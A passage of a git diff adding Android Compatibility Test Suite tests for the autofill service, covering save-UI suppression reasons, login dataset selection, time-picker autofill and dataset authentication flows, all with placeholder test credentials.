+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_REASON_FIELD_VALIDATION_FAILED.
+        triggerAutofillForSaveUiCondition(NO_SAVE_REASON_FIELD_VALIDATION_FAILED);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
+        final Event event = verifyEvents.get(1);
+
+        assertThat(event.getNoSaveReason()).isEqualTo(NO_SAVE_REASON_FIELD_VALIDATION_FAILED);
+    }
+
+    /**
+     * Tests scenario where the context was committed, the save dialog was not shown because all
+     * fields matched contents of datasets.
+     */
+    @Test
+    public void testContextCommitted_noSaveUi_whileFieldsMatchedDatasets() throws Exception {
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_REASON_DATASET_MATCH.
+        triggerAutofillForSaveUiCondition(NO_SAVE_REASON_DATASET_MATCH);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
+        final Event event = verifyEvents.get(1);
+
+        assertThat(event.getNoSaveReason()).isEqualTo(NO_SAVE_REASON_DATASET_MATCH);
+    }
+
+    private CannedFillResponse.Builder createTestResponseBuilder() {
+        return new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation("dataset1", isInlineMode())
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED);
+    }
+
+    /**
+     * Triggers autofill on username first and set the behavior of the different conditions so that
+     * the save UI should not be shown.
+     */
+    private void triggerAutofillForSaveUiCondition(int reason) throws Exception {
+        // Trigger autofill on username and check the suggestion is shown.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("dataset1");
+
+        if (reason == NO_SAVE_REASON_HAS_EMPTY_REQUIRED) {
+            // Set empty value on password to meet that there was empty value for required ids.
+            mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+            mActivity.onPassword((v) -> v.setText(""));
+        } else if (reason == NO_SAVE_REASON_NO_VALUE_CHANGED) {
+            // Select the suggestion to fill the data into username and password, then it will be
+            // able to get the data from ViewState.getCurrentValue() and
+            // ViewState.getAutofilledValue().
+            mActivity.expectAutoFill(BACKDOOR_USERNAME, "whatever");
+            mUiBot.selectDataset("dataset1");
+            mActivity.assertAutoFilled();
+        } else if (reason == NO_SAVE_REASON_NO_SAVE_INFO
+                || reason == NO_SAVE_REASON_WITH_DELAY_SAVE_FLAG
+                || reason == NO_SAVE_REASON_FIELD_VALIDATION_FAILED
+                || reason == NO_SAVE_REASON_DATASET_MATCH) {
+            // Use the setText to fill the data into username and password, then it will only be
+            // able to get the data from ViewState.getCurrentValue(), but get empty value from
+            // ViewState.getAutofilledValue().
+            mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+            mActivity.onPassword((v) -> v.setText("whatever"));
+        } else {
+            throw new AssertionError("Can not identify the reason");
+        }
+    }
+
+    private void tapLogin() throws Exception {
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/LoginActivityCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/LoginActivityCommonTestCase.java
new file mode 100644
index 0000000..e592686
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/LoginActivityCommonTestCase.java
@@ -0,0 +1,318 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_MOAR_RESPONSES;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilDisconnected;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.inline.InlineLoginActivityTest;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.UiBot;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.FillContext;
+import android.view.View;
+
+import org.junit.Test;
+
+/**
+ * This is the common test cases with {@link LoginActivityTest} and {@link InlineLoginActivityTest}.
+ */
+public abstract class LoginActivityCommonTestCase extends AbstractLoginActivityTestCase {
+
+    protected LoginActivityCommonTestCase() {}
+
+    protected LoginActivityCommonTestCase(UiBot inlineUiBot) {
+        super(inlineUiBot);
+    }
+
+    @Test
+    public void testAutoFillNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+
+        // Make sure a fill request is called but don't check for connected() - as we're returning
+        // a null response, the service might have been disconnected already by the time we assert
+        // it.
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Test connection lifecycle.
+        waitUntilDisconnected();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillNoDatasets_multipleFields_alwaysNull() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE)
+                .addResponse(NO_MOAR_RESPONSES);
+
+        // Trigger autofill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Tap back and forth to make sure no more requests are shown
+
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.assertNoDatasetsEver();
+
+        mActivity.onUsername(View::requestFocus);
+        mUiBot.assertNoDatasetsEver();
+
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofill_oneDataset() throws Exception {
+        testBasicLoginAutofill(/* numDatasets= */ 1, /* selectedDatasetIndex= */ 0);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofill_twoDatasets_selectFirstDataset() throws Exception {
+        testBasicLoginAutofill(/* numDatasets= */ 2, /* selectedDatasetIndex= */ 0);
+
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofill_twoDatasets_selectSecondDataset() throws Exception {
+        testBasicLoginAutofill(/* numDatasets= */ 2, /* selectedDatasetIndex= */ 1);
+    }
+
+    private void testBasicLoginAutofill(int numDatasets, int selectedDatasetIndex)
+            throws Exception {
+        // Set service.
+        enableService();
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final View username = mActivity.getUsername();
+        final View password = mActivity.getPassword();
+
+        String[] expectedDatasets = new String[numDatasets];
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder();
+        for (int i = 0; i < numDatasets; i++) {
+            builder.addDataset(new CannedFillResponse.CannedDataset.Builder()
+                    .setField(ID_USERNAME, "dude" + i)
+                    .setField(ID_PASSWORD, "sweet" + i)
+                    .setPresentation("The Dude" + i, isInlineMode())
+                    .build());
+            expectedDatasets[i] = "The Dude" + i;
+        }
+
+        sReplier.addResponse(builder.build());
+        mActivity.expectAutoFill("dude" + selectedDatasetIndex, "sweet" + selectedDatasetIndex);
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+
+        mUiBot.assertDatasets(expectedDatasets);
+        callback.assertUiShownEvent(username);
+
+        mUiBot.selectDataset(expectedDatasets[selectedDatasetIndex]);
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        callback.assertUiHiddenEvent(username);
+
+        // Make sure input was sanitized.
+        final InstrumentedAutoFillService.FillRequest request = sReplier.getNextFillRequest();
+        assertWithMessage("CancelationSignal is null").that(request.cancellationSignal).isNotNull();
+        assertTextIsSanitized(request.structure, ID_PASSWORD);
+        final FillContext fillContext = request.contexts.get(request.contexts.size() - 1);
+        assertThat(fillContext.getFocusedId())
+                .isEqualTo(findAutofillIdByResourceId(fillContext, ID_USERNAME));
+        if (isInlineMode()) {
+            assertThat(request.inlineRequest).isNotNull();
+        } else {
+            assertThat(request.inlineRequest).isNull();
+        }
+
+        // Make sure initial focus was properly set.
+        assertWithMessage("Username node is not focused").that(
+                findNodeByResourceId(request.structure, ID_USERNAME).isFocused()).isTrue();
+        assertWithMessage("Password node is focused").that(
+                findNodeByResourceId(request.structure, ID_PASSWORD).isFocused()).isFalse();
+    }
+
+    @Presubmit
+    @Test
+    public void testClearFocusBeforeRespond() throws Exception {
+        // Set service
+        enableService();
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+
+        // Clear focus before responded
+        mActivity.onUsername(View::clearFocus);
+        mUiBot.waitForIdleSync();
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation("The Dude", isInlineMode())
+                        .build());
+        sReplier.addResponse(builder.build());
+        sReplier.getNextFillRequest();
+
+        // Confirm no datasets shown
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Presubmit
+    @Test
+    public void testSwitchFocusBeforeResponse() throws Exception {
+        // Set service
+        enableService();
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+
+        // Trigger second fill request
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+
+        // Respond for username
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation("The Dude", isInlineMode())
+                        .build())
+                .build());
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+
+        // Set expectations and respond for password
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation("The Password", isInlineMode())
+                        .build())
+                .build());
+        sReplier.getNextFillRequest();
+
+        // confirm second response shown
+        mUiBot.assertDatasets("The Password");
+    }
+
+    @Presubmit
+    @Test
+    public void testManualRequestWhileFirstResponseDelayed() throws Exception {
+        // Set service
+        enableService();
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+
+        // Trigger second fill request
+        mActivity.forceAutofillOnUsername();
+        mUiBot.waitForIdleSync();
+
+        // Respond for first request
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation("The Dude", isInlineMode())
+                        .build())
+                .build());
+        sReplier.getNextFillRequest();
+
+        // Set expectations and respond for second request
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude2")
+                        .setPresentation("The Dude 2", isInlineMode())
+                        .build()).build());
+        sReplier.getNextFillRequest();
+
+        // confirm second response shown
+        mUiBot.assertDatasets("The Dude 2");
+    }
+
+    @Presubmit
+    @Test
+    public void testResponseFirstAfterResponseSecond() throws Exception {
+        // Set service
+        enableService();
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+
+        // Trigger second fill request
+        mActivity.forceAutofillOnUsername();
+        mUiBot.waitForIdleSync();
+
+        // Respond for first request
+        sReplier.addResponse(new CannedFillResponse.Builder(CannedFillResponse.ResponseType.DELAY)
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation("The Dude", isInlineMode())
+                        .build())
+                .build());
+        sReplier.getNextFillRequest();
+
+        // Set expectations and respond for second request
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude2")
+                        .setPresentation("The Dude 2", isInlineMode())
+                        .build()).build());
+        sReplier.getNextFillRequest();
+
+        // confirm second response shown
+        mUiBot.assertDatasets("The Dude 2");
+
+        // Wait first response was sent
+        sReplier.getNextFillRequest();
+
+        // confirm second response still shown
+        mUiBot.assertDatasets("The Dude 2");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/TimePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/TimePickerTestCase.java
new file mode 100644
index 0000000..77af4dc
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/TimePickerTestCase.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.activities.AbstractTimePickerActivity.ID_OUTPUT;
+import static android.autofillservice.cts.activities.AbstractTimePickerActivity.ID_TIME_PICKER;
+import static android.autofillservice.cts.testcore.Helper.assertNumberOfChildren;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertTimeValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.activities.AbstractTimePickerActivity;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.icu.util.Calendar;
+
+import org.junit.Test;
+
+/**
+ * Base class for {@link AbstractTimePickerActivity} tests.
+ */
+public abstract class TimePickerTestCase<A extends AbstractTimePickerActivity>
+        extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
+
+    protected A mActivity;
+
+    @Test
+    public void testAutoFillAndSave() throws Exception {
+        assertWithMessage("subclass did not set mActivity").that(mActivity).isNotNull();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Calendar cal = Calendar.getInstance();
+        cal.set(Calendar.HOUR_OF_DAY, 4);
+        cal.set(Calendar.MINUTE, 20);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                    .setPresentation(createPresentation("Adventure Time"))
+                    .setField(ID_OUTPUT, "Y U NO CHANGE ME?")
+                    .setField(ID_TIME_PICKER, cal.getTimeInMillis())
+                    .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_TIME_PICKER)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onOutput((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of TimePicker field.
+        assertTextIsSanitized(fillRequest.structure, ID_TIME_PICKER);
+        assertNumberOfChildren(fillRequest.structure, ID_TIME_PICKER, 0);
+        // Auto-fill it.
+        mActivity.expectAutoFill("4:20", 4, 20);
+        mUiBot.selectDataset("Adventure Time");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Trigger save.
+        mActivity.setTime(10, 40);
+        mActivity.tapOk();
+
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Assert sanitization on save: everything should be available!
+        assertTimeValue(findNodeByResourceId(saveRequest.structure, ID_TIME_PICKER), 10, 40);
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_OUTPUT), "10:40");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/AuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/AuthenticationTest.java
new file mode 100644
index 0000000..d8c10dd
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/AuthenticationTest.java
@@ -0,0 +1,1204 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import static android.app.Activity.RESULT_CANCELED;
+import static android.app.Activity.RESULT_OK;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.UNUSED_AUTOFILL_VALUE;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.activities.AuthenticationActivity;
+import android.autofillservice.cts.commontests.AbstractLoginActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillValue;
+
+import org.junit.Test;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.regex.Pattern;
+
+public class AuthenticationTest extends AbstractLoginActivityTestCase {
+
+    @Presubmit
+    @Test
+    public void testDatasetAuthTwoFields() throws Exception {
+        datasetAuthTwoFields(false);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
+    public void testDatasetAuthTwoFieldsUserCancelsFirstAttempt() throws Exception {
+        datasetAuthTwoFields(true);
+    }
+
+    private void datasetAuthTwoFields(boolean cancelFirstAttempt) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        // Make sure UI is show on 2nd field as well
+        final View password = mActivity.getPassword();
+        requestFocusOnPassword();
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        // Now tap on 1st field to show it again...
+        requestFocusOnUsername();
+        callback.assertUiHiddenEvent(password);
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        if (cancelFirstAttempt) {
+            // Trigger the auth dialog, but emulate cancel.
+            AuthenticationActivity.setResultCode(RESULT_CANCELED);
+            mUiBot.selectDataset("Tap to auth dataset");
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(username);
+            mUiBot.assertDatasets("Tap to auth dataset");
+
+            // Make sure it's still shown on other fields...
+            requestFocusOnPassword();
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(password);
+            mUiBot.assertDatasets("Tap to auth dataset");
+
+            // Tap on 1st field to show it again...
+            requestFocusOnUsername();
+            callback.assertUiHiddenEvent(password);
+            callback.assertUiShownEvent(username);
+        }
+
+        // ...and select it this time
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        mUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
+    public void testDatasetAuthTwoFieldsReplaceResponse() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .build());
+
+        // Set up the authentication response client state
+        final Bundle authentionClientState = new Bundle();
+        authentionClientState.putCharSequence("clientStateKey1", "clientStateValue1");
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, (AutofillValue) null)
+                        .setField(ID_PASSWORD, (AutofillValue) null)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .setExtras(authentionClientState)
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Authenticate
+        callback.assertUiShownEvent(username);
+        mUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+
+        // Select a dataset from the new response
+        callback.assertUiShownEvent(username);
+        mUiBot.selectDataset("Dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        final Bundle data = AuthenticationActivity.getData();
+        assertThat(data).isNotNull();
+        final String extraValue = data.getString("clientStateKey1");
+        assertThat(extraValue).isEqualTo("clientStateValue1");
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
+    public void testDatasetAuthTwoFieldsNoValues() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intent
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, (String) null)
+                        .setField(ID_PASSWORD, (String) null)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Authenticate
+        callback.assertUiShownEvent(username);
+        mUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
+    public void testDatasetAuthTwoDatasets() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication1 = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+        final IntentSender authentication2 = AuthenticationActivity.createSender(mContext, 2,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset 1"))
+                        .setAuthentication(authentication1)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset 2"))
+                        .setAuthentication(authentication2)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Authenticate
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset 1", "Tap to auth dataset 2");
+
+        mUiBot.selectDataset("Tap to auth dataset 1");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
+    public void testDatasetAuthMixedSelectAuth() throws Exception {
+        datasetAuthMixedTest(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
+    public void testDatasetAuthMixedSelectNonAuth() throws Exception {
+        datasetAuthMixedTest(false);
+    }
+
+    private void datasetAuthMixedTest(boolean selectAuth) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("What, me auth?"))
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        if (selectAuth) {
+            mActivity.expectAutoFill("dude", "sweet");
+        } else {
